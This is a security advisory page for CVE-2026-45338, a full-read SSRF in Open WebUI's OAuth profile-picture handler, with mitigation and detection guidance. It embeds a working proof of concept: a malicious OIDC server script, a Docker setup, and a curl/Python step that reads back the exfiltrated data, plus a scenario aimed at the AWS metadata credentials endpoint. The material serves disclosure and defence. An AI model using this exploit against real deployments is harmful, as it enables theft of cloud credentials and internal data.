CVE-2026-45338: open-webui: SSRF via OAuth picture claim leaks internal data
GHSA-24c9-2m8q-qhmh HIGH CISA: TRACK*Open WebUI ≤ 0.8.12 contains a full-read Server-Side Request Forgery in its OAuth profile picture handler: the server fetches any URL supplied in an OIDC `picture` claim without the input validation it consistently applies everywhere else in the same codebase. Any attacker who can set their OAuth profile picture URL — including a legitimate user of a trusted IdP such as Okta or Azure AD — can force the Open WebUI server to fetch AWS IMDSv1 (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`) and similar internal endpoints, with the complete response base64-encoded and stored in `profile_image_url` for the attacker to read back via `/api/v1/auths/`. Open WebUI has accumulated 91 CVEs and is the dominant self-hosted LLM chat UI, making this a high-value lateral movement entry point into cloud-hosted LLM infrastructure. Patch to v0.9.0 immediately; if patching is delayed, disable `ENABLE_OAUTH_SIGNUP` and `OAUTH_UPDATE_PICTURE_ON_LOGIN`, block server egress to 169.254.0.0/16 and RFC-1918 ranges, and enforce AWS IMDSv2 with hop-limit=1.
What is the risk?
High (CVSS 7.7, AV:N/AC:L/PR:L/UI:N/S:C/C:H). The SSRF is full-read — not blind — meaning an attacker recovers the complete HTTP response body through the application's own API, trivializing IAM credential exfiltration in cloud environments. The attack requires only a valid account on the configured OAuth provider, placing it within reach of any insider or lightly privileged external attacker. No public Nuclei template or confirmed KEV listing yet, but the fully functional PoC published in the GitHub Advisory lowers exploitation to script-kiddie level. Cloud-hosted Open WebUI deployments without IMDSv2 enforcement are at immediate risk of EC2 role credential theft and potential full cloud account compromise.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.8.12 | 0.9.0 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade to open-webui 0.9.0, which adds
validate_url()before fetching picture URLs, consistent with the existing pattern inutils/files.pyandrouters/images.py. -
Immediate workaround: Set
ENABLE_OAUTH_SIGNUP=falseandOAUTH_UPDATE_PICTURE_ON_LOGIN=falseto disable both vulnerable code paths entirely. -
Network egress control: Block outbound HTTP from the Open WebUI container to 169.254.0.0/16 (link-local), 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 at the firewall or security group level regardless of patch status.
-
AWS IMDSv2: Enforce IMDSv2 with
HttpTokens=requiredandHttpPutResponseHopLimit=1on all EC2 instances running Open WebUI; this blocks SSRF-based metadata access even if the vulnerability is triggered. -
Detection: Search application logs and database for
profile_image_urlvalues containingdata:text/MIME types or base64 blobs encoding non-image content; monitor outbound HTTP connections from the Open WebUI container to RFC-1918 or link-local addresses.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45338?
Open WebUI ≤ 0.8.12 contains a full-read Server-Side Request Forgery in its OAuth profile picture handler: the server fetches any URL supplied in an OIDC `picture` claim without the input validation it consistently applies everywhere else in the same codebase. Any attacker who can set their OAuth profile picture URL — including a legitimate user of a trusted IdP such as Okta or Azure AD — can force the Open WebUI server to fetch AWS IMDSv1 (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`) and similar internal endpoints, with the complete response base64-encoded and stored in `profile_image_url` for the attacker to read back via `/api/v1/auths/`. Open WebUI has accumulated 91 CVEs and is the dominant self-hosted LLM chat UI, making this a high-value lateral movement entry point into cloud-hosted LLM infrastructure. Patch to v0.9.0 immediately; if patching is delayed, disable `ENABLE_OAUTH_SIGNUP` and `OAUTH_UPDATE_PICTURE_ON_LOGIN`, block server egress to 169.254.0.0/16 and RFC-1918 ranges, and enforce AWS IMDSv2 with hop-limit=1.
Is CVE-2026-45338 actively exploited?
No confirmed active exploitation of CVE-2026-45338 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45338?
1. Patch: Upgrade to open-webui 0.9.0, which adds `validate_url()` before fetching picture URLs, consistent with the existing pattern in `utils/files.py` and `routers/images.py`. 2. Immediate workaround: Set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` to disable both vulnerable code paths entirely. 3. Network egress control: Block outbound HTTP from the Open WebUI container to 169.254.0.0/16 (link-local), 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 at the firewall or security group level regardless of patch status. 4. AWS IMDSv2: Enforce IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` on all EC2 instances running Open WebUI; this blocks SSRF-based metadata access even if the vulnerability is triggered. 5. Detection: Search application logs and database for `profile_image_url` values containing `data:text/` MIME types or base64 blobs encoding non-image content; monitor outbound HTTP connections from the Open WebUI container to RFC-1918 or link-local addresses.
What systems are affected by CVE-2026-45338?
This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces, LLM inference deployments, OAuth-enabled AI platforms, Cloud-hosted ML workloads.
What is the CVSS score for CVE-2026-45338?
CVE-2026-45338 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.38%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0075 Cloud Service Discovery AML.T0091.000 Application Access Token AML.T0106 Exploitation for Credential Access Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)` The omission in `_process_picture_url()` is inconsistent with the project's own security practices. ## Affected Code Paths 1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))` 2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` ## Steps to Reproduce ### Prerequisites - Open WebUI instance with generic OIDC OAuth configured - `ENABLE_OAUTH_SIGNUP=true` ### Setup **1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint: ```python """Minimal OIDC PoC server - save as poc_oidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse SSRF_TARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRF_CONFIRMED_OPEN_WEBUI" class Handler(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self._json({"issuer":"http://host.docker.internal:9000", "authorization_endpoint":"http://localhost:9000/authorize", "token_endpoint":"http://host.docker.internal:9000/token", "userinfo_endpoint":"http://host.docker.internal:9000/userinfo", "jwks_uri":"http://host.docker.internal:9000/jwks", "response_types_supported":["code"],"subject_types_supported":["public"], "id_token_signing_alg_values_supported":["RS256"], "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]}) elif path == "/authorize": ru = query.get("redirect_uri",[""])[0] st = query.get("state",[""])[0] self.send_response(302) self.send_header("Location", f"{ru}?code=poc-code&state={st}") self.end_headers() elif path == "/userinfo": self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}) elif path == "/jwks": self._json({"keys":[]}) elif path == "/canary": self.send_response(200) self.send_header("Content-Type","text/plain") body = CANARY.encode() self.send_header("Content-Length",len(body)) self.end_headers() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.send_response(404); self.end_headers() def do_POST(self): if "/token" in self.path: self._json({"access_token":"tok","token_type":"bearer","expires_in":3600, "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}}) def _json(self, d): b = json.dumps(d).encode() self.send_response(200) self.send_header("Content-Type","application/json") self.send_header("Content-Length",len(b)) self.end_headers() self.wfile.write(b) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` **2. Run the PoC server:** ```bash python3 poc_oidc.py ``` **3. Start Open WebUI with Docker:** ```bash docker run -d -p 3000:8080 \ --name owui-ssrf-test \ --add-host=host.docker.internal:host-gateway \ -e ENABLE_OAUTH_SIGNUP=true \ -e WEBUI_AUTH=true \ -e OAUTH_CLIENT_ID=test-client \ -e OAUTH_CLIENT_SECRET=test-secret \ -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \ -e OAUTH_PROVIDER_NAME=TestOIDC \ -e "OAUTH_SCOPES=openid email profile" \ ghcr.io/open-webui/open-webui:main ``` **4. Create an admin account** at `http://localhost:3000`, then sign out. **5. Click "Continue with TestOIDC"** on the login page. **6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!` **7. Verify exfiltrated data is stored and readable:** ```bash curl -s http://localhost:3000/api/v1/auths/ \ -H "Authorization: Bearer <session-token>" | python3 -c " import sys, json, base64 data = json.load(sys.stdin) url = data.get('profile_image_url', '') if 'base64,' in url: decoded = base64.b64decode(url.split('base64,',1)[1]).decode() print(f'DECODED: {decoded}') " ``` **Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI` The server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API. ## Impact An attacker can force the Open WebUI server to make HTTP requests to: - **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials - **Internal network services** not exposed to the internet - **Localhost-bound services** (Redis, Elasticsearch, internal APIs) This is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field. ## Configuration Note This vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all. ## Suggested Fix Apply `validate_url()` before fetching, consistent with existing patterns in the codebase: ```python from open_webui.retrieval.web.utils import validate_url async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: validate_url(picture_url) # Add this line # ... rest unchanged ```
Exploitation Scenario
An attacker with a standard account on the corporate OIDC provider (Azure AD, Okta, Google Workspace) used to authenticate Open WebUI edits their profile picture URL to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. They visit the Open WebUI login page and click 'Sign in with SSO'. The OAuth flow completes normally; in the background, `_process_picture_url()` issues a server-side GET to the metadata endpoint, reads the IAM role name and credential response, base64-encodes the JSON body, and stores it as `profile_image_url` in the user record. The attacker immediately calls `GET /api/v1/auths/` with their session token, decodes the base64 value, and recovers the EC2 instance role's `AccessKeyId`, `SecretAccessKey`, and `SessionToken` — credentials that in many deployments carry broad permissions over S3 buckets storing model weights, RDS instances, and AWS Secrets Manager entries containing third-party API keys.
Weaknesses (CWE)
CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui